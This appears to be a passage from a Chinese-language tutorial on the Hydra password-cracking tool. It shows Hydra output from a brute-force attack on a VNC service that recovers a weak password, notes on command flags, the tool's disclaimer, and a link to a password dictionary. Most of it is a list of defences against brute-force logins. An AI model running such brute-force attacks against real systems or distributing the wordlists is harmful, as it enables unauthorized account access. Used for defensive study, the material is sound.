[DATA] attacking service vnc on port 5900
[5900][vnc] host: 10.0.0.100 login: password: 123456
[STATUS] attack finished for 10.0.0.100 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2005-12-28 17:49:30
正如你所看到的那樣,VNC也是如此,所有我改變的是...
將用戶名指定為null,-l「」
停止檢查相同的密碼,-en簡單,強大,實用
0x06免責說明
1.請勿在軍事或秘密服務機構或非法目的使用。
2.Affero通用公共許可證版本3(AGPLv3)適用於此代碼。
3.包含了OpenSSL的特殊許可擴展,這是Debian家族所需要的
0x07聯繫我們
誠心需要大家的幫助!
如果您發現錯誤,編碼增強功能或為服務寫入新的攻擊模塊,請將它們發送到vh@thc.org
有趣的攻擊模塊將是:OSPF,BGP,PIM,PPTP,...(或任何你可能做的事情(而且還沒有)
請注意,您也可以通過github下載並提交:https://github.com/vanhauser-thc/thc-hydra
非常感謝大家的建議!
Yourssincerly,
vanHauser
TheHackersChoice
http://www.thc.org/thc-hydra
0x08防範措施
由於在攻擊期間導致的失敗的登錄嘗試次數很多,所以爆破是非常容易發現的。有幾種有效的策略來檢測和預防這種攻擊。
1.最有效的策略之一是限制失敗的登錄嘗試次數。使用此策略可以在一定數量的故障之後阻止主機或鎖定帳戶。在實施這種方法時應該小心,因為攻擊者可能會故意導致帳戶被鎖定而導致拒絕服務條件。由於響應有效的用戶引起認證失敗,使用此策略也會提高服務的支持成本。
2.另一個策略是限制連接嘗試。許多服務允許配置此值。通過限制連接嘗試次數,可能必須重新啟動攻擊工具才能完成攻擊。這種類型的配置可能會使攻擊者充分混淆,從而使他們遠離。至少它會防止自動攻擊。
3.每次失敗的嘗試增加服務響應時間是另一個可以在許多情況下運行的策略。該策略涉及連續增加每次失敗的認證嘗試的響應時間。這意味著首先發生小的延遲,但隨著攻擊的進行,延遲更長和更長。這是一種非常有效和不引人注意的挫敗暴力攻擊的方法。
4.只要服務創建某種失敗的日誌,檢測爆破就很容易。最常見的入侵檢測系統(IDS)應該能夠在短時間內檢測大量失敗的登錄嘗試。這種方法的缺點是攻擊者可能會洪泛一個系統來產生大量的IDS事件通知,這些通知可以用於分析人員引發信息超載。充斥警報的分析人員將難以通過所有通知來識別實際的攻擊,因此攻擊者可能能夠隱藏大量攻擊的攻擊垃圾。
5.審計系統密碼也是一個有效的防範。通過檢查你自己的系統以確保常用的用戶名和密碼不允許訪問,你可以確保使用Hydra和普通用戶和密碼列表的攻擊者無法訪問。這種類型的滲透測試可能是耗時的,但是可能會在暴力攻擊開始或成功之前提醒運營商潛在的漏洞。
6.檢查你的日誌。確保你檢查任何系統日誌可疑活動。當我運行這些測試時,目標伺服器的日誌顯示了很多失敗的登錄,始終是發生事件的一個明確的跡象
7.正確設置你的服務 在關閉會話之前只允許一定數量的登錄,如果可能的話,可以鎖定誰可以從哪裡登錄
8.使用好的密碼
最後一件事,在某種惡意的事情之前檢測到這種類型的事情。
字典更新:鏈接:http://pan.baidu.com/s/1pLMFjsR 密碼:p84w
失效及時私信我
更新時間:2017年10月31日
推薦閱讀:
※如何在TideBit重設密碼?
※我們在註冊帳號時怎樣保證密碼相對安全
※怎麼設好記又安全的密碼【老郝說密碼之一】
※你的密碼為什麼不安全
TAG:密碼 |